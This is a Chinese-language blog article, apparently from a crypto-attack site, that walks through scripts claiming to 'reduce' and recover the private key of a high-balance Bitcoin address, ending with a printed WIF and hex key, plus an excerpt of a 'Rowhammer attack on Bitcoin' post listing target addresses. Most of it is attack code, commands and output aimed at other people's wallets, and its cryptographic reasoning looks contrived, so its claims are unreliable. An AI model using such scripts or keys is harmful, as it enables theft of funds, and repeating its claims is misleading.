使用 ECPy + Google Colab 庫通過標量乘法減少私鑰

在本文中，我們將嘗試展示如何減少僅知道來自“BLOCKCHAIN FOLBIT LEAKS”列表的洩漏的私鑰和來自“UTXO”的公鑰。
在實驗部分，我們將使用08ReducePrivateKey腳本並恢復比特幣錢包。

橢圓曲線標量乘法P是在曲線次上加一個點的運算k。

Q=kP=P+P+P, k times

P是橢圓曲線上的一點，k是一個大的自然數。

在任何原始實現中，ECC標量乘法是主要的計算操作。提高效率的一個關鍵因素ECC是實現快速標量乘法。因此，許多研究人員提出了加速標量乘法的各種研究。

讓我們使用 ECPy 庫

ECPy 提供：

ECDSA 簽名
Ed25519 簽名
ECSchnorr 簽名
Borromean 簽名
點操作

在我們的許多研究中，我們使用圖書館ECPy和Google Colab

打開[TerminalGoogleColab]

讓我們使用“08ReducePrivateKey”存儲庫

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/08ReducePrivateKey/

ls

安裝 ECPy 庫：

sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip3 install ECPy

Python腳本：maxwell.py，保存 код並在終端運行Google Colab

from ecpy.curves     import Curve,Point

cv = Curve.get_curve('secp256k1')
G  = Point(0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798,
           0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8,
           cv)
x  = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1

PUBKEY  = x*G

print(PUBKEY)

運行命令：

python3 maxwell.py

結果：

(0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63 , 0xc0c686408d517dfd67c2367651380d00d126e4229631fd03f8ff35eef1a61e3c)

注意x坐標

x value = 3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63

0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

這個公鑰叫做“Maxwell’s vanity public key”

0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 --> 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63, 0x3f3979bf72ae8202983dc989aec7f2ff2ed91bdd69ce02fc0700ca100e59ddf3
0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1 --> 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63, 0xc0c686408d517dfd67c2367651380d00d126e4229631fd03f8ff35eef1a61e3c

p = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

((p-1)/2) = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0

0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

我們會回到這個公鑰！

讓我們繼續進行實驗部分：

我們有三個不同的比特幣地址，其餘額100 BTC 或高於比特幣富豪榜

1KpHWkpG7BGxDuSJKYPYVvNSC6womEZdTu

1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm

1GrTCkqqcXhVTXoQkPJjU5LuFKgAvC3iqJ

讓我們得到UTXO這些比特幣地址，現在我們有了三個簽名ECDSA （應用腳本01BlockchainGoogleDrive）

c1ea2c9e48ce632488817781f89730d77cd4121f1c8f70a4be44d2a15e8e08d0
37dadae30c6f7c6c4a2c930db979494783005a8e94d6861039fed21e3fa859b9
9dacfc8243109475383d5b30e8d5f0ba23d023bd47649064c208d4586b278436

獲取RawTX三個不同的比特幣地址

01000000017fbdd4c9991d0ba4fb0a0c06f6933442c17678bce6dfa4bf80e22ed530bb933c010000008a47304402206d0ab626a7e477c27602ed63b2651517af077e6f3fafda671dd9952dfcb5f0b90220168eb51a48ce7496a699a800299f15638e0a7f36ae84e84e26df0cd2a280a70e014104b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4feffffff0240597307000000001976a914211090b628fa6351fa8240232e3c2753fd5eece588ac700369d2050000001976a914ce639943ce1602e30b249faf74388ee0eeb1d3c588ac84b90700
01000000014666d430766d611cc7f2c21494e68e463ac4be8bb2f70b91693728324849e1c3010000008a473044022057a02a4abc38e2e3e1809b05402cf52faef7e101d6364d43bb0305f8796b0fb202203d1934a016c91072ffe137575734454161284ab3371a0cfc6767db7f27f24a75014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01b0feea0b000000001976a9148300ab0caebb6e85cf9e6b287a57924d1ac7c82f88ac00000000
01000000019d8e5e1bfac780b813e41517926aca95048e1dea92cbbe2a98475ff53ad38ccd000000008c493046022100c7b76326879a5ec7df2ffedb292a45c13c6f154982fc2cd7e05f0d0d0dce2d05022100d7fd43416608eaeb6356f04b601ac6edd23e0f82de44689fe5a7aa2f576637a001410480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56cffffffff01a93de702000000001976a914119fb35bad07974c1a8d47d210ca3048bb13be8788ac00000000

安裝所有必要的模塊：

bitcoin
ecdsa
utils
base58


pip2 install -r requirements.txt

使用breakECDSA.py腳本，我們將找出比特幣地址的公鑰

python2 breakECDSA.py 01000000017fbdd4c9991d0ba4fb0a0c06f6933442c17678bce6dfa4bf80e22ed530bb933c010000008a47304402206d0ab626a7e477c27602ed63b2651517af077e6f3fafda671dd9952dfcb5f0b90220168eb51a48ce7496a699a800299f15638e0a7f36ae84e84e26df0cd2a280a70e014104b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4feffffff0240597307000000001976a914211090b628fa6351fa8240232e3c2753fd5eece588ac700369d2050000001976a914ce639943ce1602e30b249faf74388ee0eeb1d3c588ac84b90700 >> PublicKeys.txt
python2 breakECDSA.py 01000000014666d430766d611cc7f2c21494e68e463ac4be8bb2f70b91693728324849e1c3010000008a473044022057a02a4abc38e2e3e1809b05402cf52faef7e101d6364d43bb0305f8796b0fb202203d1934a016c91072ffe137575734454161284ab3371a0cfc6767db7f27f24a75014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01b0feea0b000000001976a9148300ab0caebb6e85cf9e6b287a57924d1ac7c82f88ac00000000 >> PublicKeys.txt
python2 breakECDSA.py 01000000019d8e5e1bfac780b813e41517926aca95048e1dea92cbbe2a98475ff53ad38ccd000000008c493046022100c7b76326879a5ec7df2ffedb292a45c13c6f154982fc2cd7e05f0d0d0dce2d05022100d7fd43416608eaeb6356f04b601ac6edd23e0f82de44689fe5a7aa2f576637a001410480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56cffffffff01a93de702000000001976a914119fb35bad07974c1a8d47d210ca3048bb13be8788ac00000000 >> PublicKeys.txt

啟動後，我們會收到所有三個比特幣地址的公鑰。

結果將保存到一個文件：PublicKeys.txt

Откроем файл: PublicKeys.txt

cat PublicKeys.txt

PUBKEY = 04b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4
PUBKEY = 04ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c
PUBKEY = 0480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56c

讓我們以坐標點 (x,y) 的形式製作這些公鑰：

(0xb3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97 , 0xfe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4)
(0xea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd , 0x1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c)
(0x80edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2 , 0xb5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56c)

將坐標點保存(x,y)在文件中：Coordinates.txt

區塊鏈 FOLBIT 洩漏

讓我們在“BLOCKCHAIN FOLBIT LEAKS”上打開已知的區塊鏈洩漏列表2019 год

讓我們複製值：

dac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

現在讓我們通過(x,y)應用洩漏值對所有點坐標進行標量乘法：

修改maxwell.py代碼，改名scalarEC.py

讓我們添加with open("Coordinates.txt", "rt") as base:

所有新坐標將保存在一個文件中：SaveBase.txt

B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

讓我們將B列表中的一個值添加到代碼中並將其保存為Python腳本：scalarEC.py

from ecpy.curves     import Curve,Point

with open("Coordinates.txt", "rt") as base:
    for line in base.read().splitlines():
        Gx, Gy = map(lambda v: int(v, 16), line[1: -1].split(" , "))

        cv = Curve.get_curve('secp256k1')
    
        P  = Point(Gx,Gy,cv)

        B  = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

        A  = B*P

        with open("SaveBase.txt", "a") as file:
            file.write(str(A))
            file.write("\n")

讓我們運行腳本：

python3 scalarEC.py

Результат сохранился в файле: SaveBase.txt

Откроем файле: SaveBase.txt

cat SaveBase.txt

(0x92b9eeebb8c4fa108359bd31367e36b7fe65b4a7e06d533b476dee097572a4c0 , 0x4d2beb1835a2f8b85e3f61d32094dbf0b4c7a212bee42ee4612193c0653c6e56)
(0x65304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e7 , 0x7af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958)
(0x433c15b724948371877dd3c1014d59d1a13d76a29e4948903623a74767736b97 , 0x13f15f3bb28a4766952e10da9717aa3cc0bad90b0414f483718531d584721ea3)

在所有坐標點上乘以洩漏值的標量後，(x,y)我們得到新的點

現在讓我們以未壓縮公鑰的形式重寫這些坐標：

我們來看看這個公鑰：

0465304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e77af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958

現在我們可以使用Pollard 的 Kangaroo方法來查找私鑰

之前，我們發表過一篇文章：《Pollard’s Kangaroo find solutions to the discrete logarithm of secp256k1 PRIVATE KEY + NONCES in a known range》

讓我們使用Python腳本中的新代碼 ：kangaroo.pyPollard's KangarooTelariust

使用以下命令安裝 gmpy2 模塊：

sudo apt install python-gmpy2

接下來，運行Python腳本：kangaroo.py

python2 kangaroo.py 32 0465304D24C0EDC862843587A96EA700F86E9E70E7801AC7DF9EFD2DE84230C3E77AF6D83573849D2368A021E835C5768E1B791C0C1B4CFAFB9795058DF5F27958

在終端中，我們看到我們設法獲得"prvkey"：

[prvkey#32] 0x00000000000000000000000000000000000000000000000000000000795f9c63
[pubkey#32] 0465304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e77af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958

結果將保存到一個文件：Privkey.txt

Откроем файл командой: 

cat Privkey.txt

00000000000000000000000000000000000000000000000000000000795f9c63

我們得到了公鑰的簡化私鑰：

0465304D24C0EDC862843587A96EA700F86E9E70E7801AC7DF9EFD2DE84230C3E77AF6D83573849D2368A021E835C5768E1B791C0C1B4CFAFB9795058DF5F27958

注意私鑰：

後者8 цифр匹配формате HEX公鑰“Maxwell’s vanity public key”

0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

A = 0x00000000000000000000000000000000000000000000000000000000795f9c63
B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

現在，為了獲得三個比特幣地址之一的私鑰，我們需要進行模значение A除значение B

Privkey = ((A * modinv(B,N)) % N)

讓我們使用Python腳本：calculate.py

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m

N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

A = 0x00000000000000000000000000000000000000000000000000000000795f9c63
B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae


print (h(((A) * modinv(B,N)) % N))

讓我們運行Python腳本：calculate.py

python3 calculate.py

結果，我們將在終端中收到 HEX 格式的私鑰 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae

讓我們打開bitaddress並檢查：

ADDR: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm
WIF:  5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx
HEX:  38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae

找到私鑰！

比特幣錢包恢復了！

www.blockchain.com/btc/address/1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm

該視頻是為 CRYPTO DEEP TECH門戶網站創建的，以確保橢圓曲線上的數據和密碼學的金融安全性免受加密貨幣中 secp256k1 弱簽名的影響 ECDSABITCOIN

來源

電報： https: //t.me/cryptodeeptech

視頻：https://youtu.be/zu2yiaZ_LOs

來源：https ://cryptodeep.ru/reduce-private-key

密碼分析

Уменьшение приватного ключа через скалярное умножение используем библиотеку ECPy + Google Colab

Crypto Deep Tech

如何使用簽名錯誤獲取比特幣錢包的私鑰（對比特幣的 Rowhammer 攻擊）

https://www.youtube.com/embed/lfYPcXPzLjE 比特幣加密貨幣最大的密碼學優勢是離散數學中的一種計算方法(HNP)，它以大整數因式分解問題和比特幣簽名交易中的隱數問題為基礎ECDSA。在本文中，我們將應用簽名故障差異分析ECDSA並從五個不同比特幣錢包的交易中導出私鑰。Rowhammer Attack on Bitcoin, 使我們能夠有效地找到以某個值為模的歸一化多項式的全零，並且我們將此方法應用於簽名算法，ECDSA更準確地說，應用於比特幣區塊鏈中極易受到攻擊的交易。我們將乘以有限域相同元素的不同冪，奇怪的是，它們可以重合併為我們提供有限域上的特定函數，可以使用拉格朗日插值多項式指定。這種攻擊的理論部分可以在流行的比特幣攻擊列表中的文章中找到：“Rowhammer Attack on Bitcoin” www.attacksafe.ru/rowhammer-attack-on-bitcoin 從我們早期的出版物ECDSA中，我們知道比特幣區塊鏈中存在很多易受攻擊和薄弱的交易，並且在我們的密碼分析過程中，我們發現許多比特幣地址在洩露密鑰的情況下進行了大量簽名"K" (NONCE). 這樣一來，知道了秘鑰，我們就可以準確的獲取到比特幣錢包的私鑰了。考慮五個比特幣地址： 1HhZSwcEj5ncVoPT9bAupvcEjwToY1rJ1o 18hdfynnojmiMmBMsrkXNFWketq4mmDHB 14jUzNgdAboyaUaWNxbDJYYAKwHSwwj6sP 17xFf85Y8YGsRsgSjCN4KfBKXTjpSnDBxc 18vXv21kk8PfN4KRX5i19QvDRM855qheQ 每個比特幣地址都進行了兩個關鍵的易受攻擊的交易： 1HhZSwcEj5ncVoPT9bAupvcEjwToY1rJ1o https://btc1.trezor.io/tx/3c79fae7e31a32e12d55f2e0c91d88e11d6f16faa35f1ec85bd7d768a1c18846 https://btc1.trezor.io/tx/96c94c5b69c60ab4e3889b11fee54519fc6ff0f228f37554dd0dc766ab3909ef 18hdfynnojmiMmBMsrkXNFWketq4mmDHB https://btc1.trezor.io/tx/3886796f1ba39ca9c673ab969d7c9366d2d69fe9d58726f580fa02e14cca3d29 https://btc1.trezor.io/tx/cfc6047c1ad23ddb9d3e0151217fe62f045429ffb225e878a07a0db6f98fb9b3 14jUzNgdAboyaUaWNxbDJYYAKwHSwwj6sP https://btc1.trezor.io/tx/2f7422ffa8bd6311ee25bad9466f0e1d1feef24d32f1d60d7396080a12791f6b https://btc1.trezor.io/tx/7de3c41e439bbab837602019e17611d6fe9d245bcb1f182add148fc35fc42e8f 17xFf85Y8YGsRsgSjCN4KfBKXTjpSnDBxc https://btc1.trezor.io/tx/18dcc93cea01e4bbd41a4e648ca6088fce67bb0a8e2cc231e42978dcdffd1591 https://btc1.trezor.io/tx/17ea9403f628a1810ffa70858dd5411c455fbdc1fd8c7e2048c5e5ae5d2ac839 18vXv21kk8PfN4KRX5i19QvDRM855qheQ https://btc1.trezor.io/tx/d415bede55c2a598487d708bd2a6e6c2e616eb8db3de844f7ad0298871c13c37 https://btc1.trezor.io/tx/15002f0dc4d2b3f747da8f24a2b994fd86d47db29f682204929c66d7bd52cd42 比特幣區塊鏈中密鑰“K”（NONCE）的公開打開 [TerminalGoogleColab]。使用我們的15RowhammerAttack存儲庫實施高效的Rowhammer 攻擊算法 git clone https://github.com/demining/CryptoDeepTools.git cd CryptoDeepTools/15RowhammerAttack/ ls 安裝我們需要的所有包 requirements.txt sudo apt install python2-minimal wget https://bootstrap.pypa.io/pip/2.7/get-pip.py sudo python2 get-pip.py…

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使用 ECPy + Google Colab 庫通過標量乘法減少私鑰

讓我們使用 ECPy 庫

ECPy 提供：

安裝 ECPy 庫：

運行命令：

結果：

注意x坐標

我們會回到這個公鑰！

讓我們繼續進行實驗部分：

安裝所有必要的模塊：

結果將保存到一個文件：PublicKeys.txt

讓我們以坐標點 (x,y) 的形式製作這些公鑰：

區塊鏈 FOLBIT 洩漏

讓我們複製值：

讓我們運行腳本：

現在讓我們以未壓縮公鑰的形式重寫這些坐標：

我們來看看這個公鑰：

使用以下命令安裝 gmpy2 模塊：

結果將保存到一個文件：Privkey.txt

我們得到了公鑰的簡化私鑰：

注意私鑰：

找到私鑰！

比特幣錢包恢復了！

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安裝 ECPy 庫：

運行命令：

結果：

注意x坐標

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讓我們繼續進行實驗部分：

安裝所有必要的模塊：

結果將保存到一個文件：PublicKeys.txt

讓我們以坐標點 (x,y) 的形式製作這些公鑰：

區塊鏈 FOLBIT 洩漏

讓我們複製值：

讓我們運行腳​​本：

現在讓我們以未壓縮公鑰的形式重寫這些坐標：

我們來看看這個公鑰：

使用以下命令安裝 gmpy2 模塊：

結果將保存到一個文件：Privkey.txt

我們得到了公鑰的簡化私鑰：

注意私鑰：

找到私鑰！

比特幣錢包恢復了！

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